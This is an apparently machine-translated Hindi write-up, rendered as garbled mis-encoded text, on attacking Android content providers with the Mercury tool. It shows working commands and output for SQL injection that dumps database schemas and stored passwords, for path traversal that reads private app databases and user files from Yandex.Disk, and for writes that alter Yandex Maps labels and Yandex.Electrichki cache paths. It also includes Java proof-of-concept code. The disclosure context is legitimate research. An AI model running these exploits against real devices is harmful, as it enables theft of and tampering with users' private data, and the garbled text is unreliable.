рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ - рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рд╕рд┐рдХреБрдбрд╝рддрд╛ рд╣реИред рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рд╕реЗ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░ (рдкреНрд░рд╕рд╛рд░рдг рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛) - рд╕рд┐рд╕реНрдЯрдо рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдЙрджреНрджреЗрд╢реНрдп, рд╕рд┐рд╕реНрдЯрдо рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдЬрд╡рд╛рдм рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдВрдбреНрд░реЙрдЗрдб рдбреЗрд╡рд▓рдкрдореЗрдВрдЯ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рд╣реИрдмрд░ рдХреЗ рдкреГрд╖реНрдареЛрдВ рдкрд░ рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдмреАрдЪ, рд╣рдо рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕реМрджрд╛ рдХрд░реЗрдВрдЧреЗред рд╣рдо рдЙрдкрд▓рдмреНрдз рдХреА рд╕реВрдЪреА рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ:

 mercury> run app.provider.finduri com.mwr.example.sieve Scanning com.mwr.example.sieve... content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.FileBackupProvider 

рдорд░реНрдХрд░реА рдПрдкреАрдХреЗ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдирдкреИрдХ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрд╕реЗ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд░реЗрдЧреНрдпреБрд▓рд░ рдПрдХреНрд╕рдкреНрд░реЗрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, "Content: //" рдФрд░ рдПрдВрдбреНрд░реЙрдЗрдб рдореИрдирдЗрдлрд╝реЗрд╕реНрдЯрдПрдХреНрд╕рдПрдХреНрд╕рдПрдХреНрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреНрд░реЛрд╡рд╛рдЗрдбрд░реНрд╕ рдмреНрд▓реЙрдХ рдХреА рдореМрдЬреВрджрдЧреА рд╣реЛрддреА рд╣реИред рдЕрдкрдиреЗ рдЕрднреНрдпрд╛рд╕ рдореЗрдВ, рдореИрдВ рдЙрд╕ рд╕рдордп рд╕рд╛рдордиреЗ рдЖрдпрд╛ рдЬрдм рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рдЦреБрдж рдХреЛ рдЗрд╕рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддрд╛рд░ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛, рдЗрд╕рд▓рд┐рдП рдореБрдЭреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд░рд┐рд╡рд░реНрд╕ рдХрд░рдирд╛ рдкрдбрд╝рд╛ред

рдЪреВрдВрдХрд┐ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ sqlite рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рд╕рд╛рдзрд╛рд░рдг sql рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░реЗрдВрдЧреЗред рд╣рдо рдХреЗрд╡рд▓ рдЪрдпрди рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗ, рдХреНрдпреЛрдВрдХрд┐ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ, рдЕрджреНрдпрддрди рдХрд░рдиреЗ рдФрд░ рд╣рдЯрд╛рдиреЗ рдХреЗ рд╕рд╛рде рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реЛрдЧреАред

рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдореБрдЭреЗ рдЖрдХрд░реНрд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкрд╣рд▓рд╛ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдЗрдП рдЗрд╕ рдкреНрд░рджрд╛рддрд╛ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВ:

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | habr | root | uVYNVnRWZxRM355wU3PqdCTpYc8= (Base64-encoded) | root@main.habr | 

рдФрд░ рд╣рдо рдХреНрд╡реЗрд░реА рд╕реЗ рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рдЕрдм рдЪрд▓реЛ рдЕрдЪреНрдЫреЗ рдкреБрд░рд╛рдиреЗ sql рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВред рдореИрдВ рдЖрдкрдХреЛ рдПрдХ рдмрд╛рд░ рдлрд┐рд░ рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реВрдВ рдХрд┐ рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╕рд╛рдЗрдХреНрд▓рд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рдо sqlite_master (рдкреВрд░реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕рдВрд░рдЪрдирд╛) рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВрдЧреЗ:

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM sqlite_master--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email) | | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) | | index | sqlite_autoindex_Key_1 | Key | 6 | null | 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдорд╛рд░рд╛ рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рд╕рдлрд▓ рд░рд╣рд╛, рдФрд░ рд╣рдореЗрдВ рд╕рдВрдкреВрд░реНрдг рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрд░рдЪрдирд╛ рдорд┐рд▓реА: рдЙрдирдореЗрдВ рдЯреЗрдмрд▓ рдФрд░ рдлрд╝реАрд▓реНрдбред рд╡реИрд╕реЗ, рдЕрдиреНрдп sqlite рдлрд╝рдВрдХреНрд╢рди рднреА рдпрд╣рд╛рдВ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рд╕рдВрдЦреНрдпрд╛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "sqlite_version();--" | sqlite_version() | | 3.7.4 | 

рдЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╢реЗрд╖ рднреЗрджреНрдпрддрд╛ рд╣реЛрдорд╡рд░реНрдХ рдХреЗ рд▓рд┐рдП рд░рд╣реЗрдЧреА, рд▓реЗрдХрд┐рди рдЕрдм рд▓реЗрдЦ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд╡рд╛рдкрд╕ рдЖ рдЧрдпрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдореИрдВрдиреЗ рдпреИрдВрдбреЗрдХреНрд╕ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдиреЗ рдХрд╛ рд╡рд╛рджрд╛ рдХрд┐рдпрд╛ рдерд╛ред рдкрд╛рд░рд╛ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдСрдкрд░реЗрд╢рди рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рд╕рд░рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдкрд╣рд▓реЗ рдореБрдЭреЗ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ (рдкреАрдУрд╕реА) рдХреЛ рд▓рд┐рдЦрдирд╛ рдерд╛ред

PoC рд╕реНрд░реЛрдд рдХреЛрдб рдХреА рдЕрдирд┐рд╡рд╛рд░реНрдпрддрд╛
 //    2      -:         sql-   тАЬ* FROM sqlite_master--тАЬ //     // uri тАУ content provider // projectionArray тАУ   , : тАЬ* FROM sqlite_masterтАФтАЬ public static ArrayList<String> getColumns (ContentResolver resolver, String uri, String[] projectionArray) { ArrayList<String> columns = new ArrayList<String>(); try { Cursor c = resolver.query(Uri.parse(uri), projectionArray, null, null, null); if (c != null) { String [] colNames = c.getColumnNames(); c.close(); for (int k = 0; k < colNames.length; k++) columns.add(colNames[k]); } } catch (Throwable t) {} return columns; } // ┬л ┬╗,     -    // target тАУ content-provider // projection тАУ   public String make_shoot(String target, String projection) { ContentResolver r = getContentResolver(); String[] projectionArray = null; if (projection.length() > 0) { projectionArray = new String[1]; int i = 0; projectionArray[i] = projection; } String data = ""; Cursor c = r.query(Uri.parse(target), projectionArray, null, null, null); if (c != null) { ArrayList<String> cols = getColumns(r, target, projectionArray); Iterator<String> it = cols.iterator(); String columns = ""; while (it.hasNext()) columns += it.next() + " | "; data += columns.substring(0, columns.length() - 3); data += "\n\n"; for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext()) { int numOfColumns = c.getColumnCount(); for (int l = 0; l < numOfColumns; l++) { try { data += c.getString(l); } catch (Exception e) { data += "(blob) " + Base64.encodeToString(c.getBlob(l), Base64.DEFAULT); } if (l != (numOfColumns - 1)) data += " | "; } } } return data; } 


рдиреАрдЪреЗ рдореИрдВ рддреНрд░реБрдЯрд┐ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬрдиреЗ рдХреЗ рдмрд╛рдж 90 рджрд┐рдиреЛрдВ рдХреА рд╕реАрдорд╛ рдХреЗ рдХрд╛рд░рдг рдорд┐рд▓реА рдХреБрдЫ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░реВрдВрдЧрд╛ред

рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рд▓реЗ рдЖрд╡реЗрджрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, рд╣рдо рдПрдХ рдЕрдиреНрдп рдкреНрд░рдХрд╛рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдк рдХрдИ рд╕рд┐рд╕реНрдЯрдо рдлрд╛рдЗрд▓реЛрдВ рдФрд░ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ "рдУрдкрди рдкрд╛рде" рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛрддреА рд╣реИред Yandex.Disk рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреА рднреЗрджреНрдпрддрд╛ рдкрд╛рдИ рдЧрдИред рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдкреНрд░рджрд╛рддрд╛ рд╕рд╛рдордЧреНрд░реА рдереА: //ru.yandex.disk.cacheред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../system/etc/hosts 127.0.0.1 localhost 

рдЕрдм рдХреБрдЫ рдФрд░ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВред рдореИрдВ рдЖрдкрдХреЛ рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реВрдВ рдХрд┐ рд╣рдорд╛рд░реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рд╛рдЗрдХреНрд▓рд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЙрдирдХреЗ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдХреЗрд╡рд▓ рд░реВрдЯ рдФрд░ рдЙрд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ:

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../../data/data/ru.yandex.disk/databases/disk 

рд╕рд┐рд╕реНрдЯрдо рд╡рд░реНрдгреЛрдВ рдХреЗ рдХрд╛рд░рдг, рдХрдЯ рдХреЗ рддрд╣рдд рдХрдорд╛рдВрдб рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ Yandex.disk рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдорд┐рд▓рддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЖрдк рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦреЛрд▓рд╛ рдерд╛ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рд╕рд╛рдлрд╝ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдерд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рдпреИрдВрдбреЗрдХреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдкрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЦреЛрд▓рд╛ред

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../sdcard/Android/data/ru.yandex.disk/files/disk/readme.pdf 

рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдХреИрд╢ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдпрд╣ рдорд╛рдирдХ рд╣реИ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдкрд┐рдЫрд▓реЗ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЖрдкрдХреЗ PoC рдореЗрдВ, рдкреНрд░рджрд╛рддрд╛ рдХреЛ рдпрд╣ рдХреЙрд▓ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

 resolver.openInputStream(uri) 

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреБрдХрдорд╛рд░реНрдХ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рдореЗрдВ рдПрдХ рдФрд░ рднреЗрджреНрдпрддрд╛ рдкрд╛рдИ рдЧрдИ, рдФрд░ рдХрд┐рд╕реА рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЙрдиреНрд╣реЗрдВ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА:

 mercury> run app.provider.query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Work | 37.5732 | 1352196427356 | Work | 2 | 55.7137 : update content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels --string label_name_tolower=Home label_name=Home --where _id=2 query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Home | 37.5732 | 1352196427356 | Home | 2 | 55.7137 

рддреЛ рдХрд╛рдо рдШрд░ рдмрди рдЧрдпрд╛ред рдпрд╛ рдЖрдк рдЬрдЧрд╣ рдХреЗ рдирд┐рд░реНрджреЗрд╢рд╛рдВрдХ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЧрд▓рдд рдкрддреЗ рдкрд░ рдкрд╣реБрдВрдЪ рдЬрд╛рдПрдЧрд╛ ...

рдЕрдЧрд▓рд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХрд╛рд░реНрдпрдХреНрд░рдо рдпреИрдВрдбреЗрдХреНрд╕.рдЗрд▓реЗрдХреНрдЯреНрд░рд┐рдХреНрд╕ рд╣реИред рдбреЗрдЯрд╛ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдЬреИрд╕реА рднреЗрджреНрдпрддрд╛ рдХреА рднреА рдЦреЛрдЬ рдХреА рдЧрдИ рдереАред

 mercury> run app.provider.query content://ru.yandex.rasp/files --projection "* FROM sqlite_master--" type | name | tbl_name | rootpage | sql ..... table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) table | files | files | 4 | CREATE TABLE files (_id integer primary key autoincrement, etag text, last_modified text, name text, region text,last_updated long,UNIQUE (name)) index | sqlite_autoindex_files_1 | files | 5 | null table | sqlite_sequence | sqlite_sequence | 6 | CREATE TABLE sqlite_sequence(name,seq) table | recent_stations | recent_stations | 7 | CREATE TABLE recent_stations (_id integer primary key autoincrement, region text, is_meta int,station_id text, UNIQUE (station_id, region)) index | sqlite_autoindex_recent_stations_1 | recent_stations | 8 | null table | favourite_stations | favourite_stations | 9 | CREATE TABLE favourite_stations (_id integer primary key autoincrement, station1 text, station1_meta int,station1_title text, station2 text,station2_meta int,station2_title text, current_from text, data_state int, identifier text, mirror_presented int, UNIQUE (identifier)) index | sqlite_autoindex_favourite_stations_1 | favourite_stations | 10 | null 

рдбреЗрдЯрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдлрд╝рд╛рдЗрд▓ рдХреИрд╢ рдореЗрдВ рдкрде рдмрджрд▓реЗрдВ:

 mercury> run app.provider.update content://ru.yandex.rasp/files --string name "/system/sdcard/hack.txtтАЭ --where _id=2 _id | etag | last_modified | name | region | last_updated ..... 2 | 9bcbdc0620af50eadead14cdee81a1ded08f0259 | null | /system/sdcard/hack.txt | 213 | 1352462705854 1 | 548f13c285590c4bc8df665613d2d80e7be4678a | null | /data/data/ru.yandex.rasp/cache/all_cities.cache | | 1352462705064 

рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкрд╕рдВрджреАрджрд╛ рдФрд░ рд╣рд╛рд▓ рдХреЗ рд╕реНрдЯреЗрд╢рдиреЛрдВ рдХреА рд╕реВрдЪрд┐рдпреЛрдВ рдХреЛ рдкрдврд╝ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреИрд╢ рдХреЛ рдкрде рдмрджрд▓рдиреЗ рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ "рдбреНрд░реЙрдк" рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЙрд╕ рд╕рдордп рдХреЛрдИ рдЗрдВрдЯрд░рдиреЗрдЯ рдирд╣реАрдВ рдерд╛ рддреЛ рд╢реЗрдбреНрдпреВрд▓ рдХреЛ рдмрджрд▓ рджреЗрдВред

рдЕрдВрддрд┐рдо, рдЖрдЬ рдХреЗ рд▓рд┐рдП, рдХрдордЬреЛрд░ рдХрд╛рд░реНрдпрдХреНрд░рдо - Yandex.Taxiред рдЗрд╕ рдмрд╛рд░ рдореИрдВ рдХреЗрд╡рд▓ рдПрдХ рд╕реВрдЪреА рджреВрдВрдЧрд╛ рдФрд░ рдЙрдирдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдХрдИ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рдХрдордЬреЛрд░ рд╣реЛ рдЧрдП:
рдкрд╣рд▓рд╛: рд╕рд╛рдордЧреНрд░реА: //ru.yandex.taxi/taxi
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЙрдкрд▓рдмреНрдз рдЯреИрдХреНрд╕рд┐рдпреЛрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдореИрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рдХрд┐ рдХреНрдпрд╛ рдореИрдВ рдЕрдкрдиреА рдХрд╛рд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдлреЗрдВрдХ рд╕рдХрддрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдХреЙрд▓ рдПрдХ рд▓рд╛рдЗрд╡ рдСрдкрд░реЗрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк рдирд┐рдХрдЯрддрдо рдЯреИрдХреНрд╕реА рд╕реЗ рдирдВрдмрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдмрд╛рдХреА рдЗрддрдиреЗ рджрд┐рд▓рдЪрд╕реНрдк рдирд╣реАрдВ рд╣реИрдВ:

рдЗрд╕ рддрд░рд╣ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдирд╣реАрдВ рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдХреБрдЫ "рдИрд░реНрд╖реНрдпрд╛рд▓реБ" рдпрд╛ "рдирд┐рдЬреА" рдЬрд╛рд╕реВрд╕ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдВрдЧреЗред

